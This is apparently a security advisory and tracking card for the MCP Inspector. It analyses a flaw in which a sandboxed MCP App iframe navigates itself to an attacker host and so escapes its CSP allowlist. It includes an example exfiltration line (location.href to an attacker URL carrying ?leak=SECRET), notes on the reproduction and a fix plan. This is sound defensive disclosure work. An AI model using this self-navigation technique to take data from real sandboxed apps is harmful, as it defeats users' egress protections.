Repository navigation
Description
Advisory: https://github.com/modelcontextprotocol/inspector/security/advisories/GHSA-h9j8-vj8g-v3gg
Status (2026-10-29): fix ready, not merged
- Accepted 2026-10-28. Severity Medium, Priority High. Lines: v2 only (v1's proxy rejects messages from a navigated frame).
- Fix: fork PR v2 #1, 2 commits. Gate green; verified in Chromium and Firefox.
- Before the release:
- Merge the fork. Lift
required_status_checksonv2/main - DCOand restore it from a snapshot. - Ship in v2.14.0.
- Request a CVE and credit
CloneOfAlex. - Publish.
- Trim the Research section below, then convert this card to a v2 issue.
- Merge the fork. Lift
- Upstream: private report to ext-apps, GHSA-fqjp-x764-8329 (triage).
- Open:
- v1 enforces no MCP App CSP at all. That's untracked; decide whether it needs its own advisory.
- The assessment comment for the reporter is a manual post.
Reporter: CloneOfAlex | Reported severity: medium | Reported: 2026-10-28
Priority score (2026-10-28, provisional — code-read only, not reproduced): Severity 5, Urgency 3, +1 security, Total 9 → High. Lines: v2 + v1 (to confirm).
Priority score (2026-10-28, post-verification — reproduced in Chromium): Severity 5, Urgency 3, +1 security, Total 9 → High. Lines: v2 confirmed; v1 not yet checked.
Research (2026-10-28)
⚠️ This card deliberately carries the mechanism and fix direction, overriding the security-advisory skill's link-and-metadata-only rule at the maintainer's request.
Verdict
A real threat, not a dev-tool nitpick. The MCP Apps spec makes declared domains a hard egress boundary, and the Inspector fails it. The worst part of the flaw comes from our own changes to the reference proxy, not from upstream.
The danger, plainly
An app's CSP promises two things: it can only send data to the domains it declared, and the code that runs is the HTML the server supplied. Navigating its own frame (location.href = "https://attacker/...") breaks both:
- Data leaves in the navigation URL, even under
connect-src 'none'. - The attacker's page takes over the app's bridge. It is still the same
contentWindowand still origin"null", so the proxy treats it as the app. It receives later host messages (tool results, tool input, host context), and its JSON-RPC (tools/call,ui/open-link,ui/message) is relayed to the host as if the app had sent it.
Who gains what:
- A malicious server gains little it didn't already have.
- A benign server whose app is compromised (XSS, or a script from an allowed resource domain) escapes the allowlist completely.
- A reviewer vetting an app is shown a false picture of what the app can reach.
Reproduction
Reproduced end to end in headless Chromium 156:
- A
srcdocframe withsandbox="allow-scripts allow-forms"navigated itself, and the attacker's server received?leak=SECRET. - The new page had
self.origin === "null". - Its
tools/callreached the proxy withevent.source === inner.contentWindowand origin"null", and was relayed. - It then received every
"*"tool-result relay.
The harness is local only: /private/tmp/claude-501/-Users-cliffhall-Projects-mcp-inspector-v2/ad860e2b-3eb4-49eb-bfec-ffbec0d2d115/scratchpad/exp/{server.mjs,run.mjs}. Firefox and WebKit were not tested.
The comment at clients/web/static/sandbox_proxy.html:333-335, saying "*" is safe because the frame "cannot navigate to another origin's document without allow-top-navigation", is false.
Spec (ext-apps specification/draft/apps.mdx; the 2026-01-26 version says the same)
- L491: "If the Host is a web page, it MUST wrap the View and communicate with it through an intermediate Sandbox proxy."
- L493: "The Host and the Sandbox MUST have different origins."
- L497-499: "The Sandbox MUST load the raw HTML of the View with CSP settings that: Enforce the domains declared in
ui.cspmetadata … otherwise useframe-src 'none'" - L296: "Host MAY further restrict but MUST NOT allow undeclared domains"
- L2581: "Host MUST block connections to undeclared domains"
- L112-116:
connectDomains"Maps to CSPconnect-src"; "Empty or omitted = no external connections (secure default)" - Silent on: the View navigating its own frame, detecting navigation, and the origin checks the proxy must apply to inner-frame messages.
Ownership: ours vs. upstream (examples/basic-host/src/sandbox.ts, serve.ts)
Our proxy is clearly derived from upstream's: same comments, referrer check and self-test. We diverged in two ways that matter.
Ours alone:
- Opaque origin plus acceptance of
"null". Upstream usesallow-same-originwithdocument.writeand checksevent.origin !== OWN_ORIGIN, so a page the frame navigated to has the attacker's origin and is rejected. - We removed
frame-srcfrom the proxy's response header (clients/web/server/sandbox-controller.ts:221-232). Upstream'sserve.ts:96keepsframe-src <frameDomains>|'none', which blocks the self-navigation in Chromium.
Shared with upstream: the host-to-frame relay with "*", and no load or navigation detection. Upstream is covered in Chromium only by its header frame-src. Worth a private report to ext-apps, never a public issue.
Browser facts
- Self-navigation is allowed. VERIFIED. Per the HTML spec, the sandboxed navigation flag only covers browsing contexts other than the frame itself.
top.locationthrew a SecurityError. - Sandbox flags persist across the navigation (same
contentWindow, still origin"null"). VERIFIED, Chromium only. - No CSP directive stops a frame navigating itself. VERIFIED.
- CSP3 lists only
form-actionandframe-ancestorsas navigation directives.navigate-tois unrecognized. - A meta
frame-src 'none'in the srcdoc did not stop it. form-action 'none'did block a form submit.- The navigated page does not inherit the srcdoc's meta CSP.
- CSP3 lists only
frame-src/child-srcon the proxy's response header blocks the navigation before any request leaves. VERIFIED in Chromium. Firefox and WebKit UNVERIFIED.- The iframe
cspattribute is weak. The request still leaks the URL, and a target sendingAllow-CSP-From: *loads anyway. Browser support is limited. - Other hosts' mitigations (ChatGPT Apps, Claude, ext-apps docs): none documented. UNVERIFIED.
Fix, in priority order
- Restore
frame-srcon the proxy's response header, built per render from the approvedframeDomainsplus the app's own origin. A static'none'would break apps with approved frame domains. This stops the URL leak too. The frame can still navigate to a declared frame domain. - Add load-event detection in the proxy: tear down or blank the frame on the second
load. Defense in depth only: it races (the attacker'stools/callwas relayed before the secondloadfired) and does not stop the URL leak. - Host-side: stop relaying to a frame that has navigated. Same race as 2.
- The iframe
cspattribute. Weakest option, listed for completeness. - Correct the false comment at
sandbox_proxy.html:333-335.
Inferred, not verified: a per-render MessagePort would defeat a navigated document, but it needs SDK and spec changes.
Activity
cliffhall commentedon Nov 4, 2026
Fixed by #2875 (merged to v2/main as 9873aa8).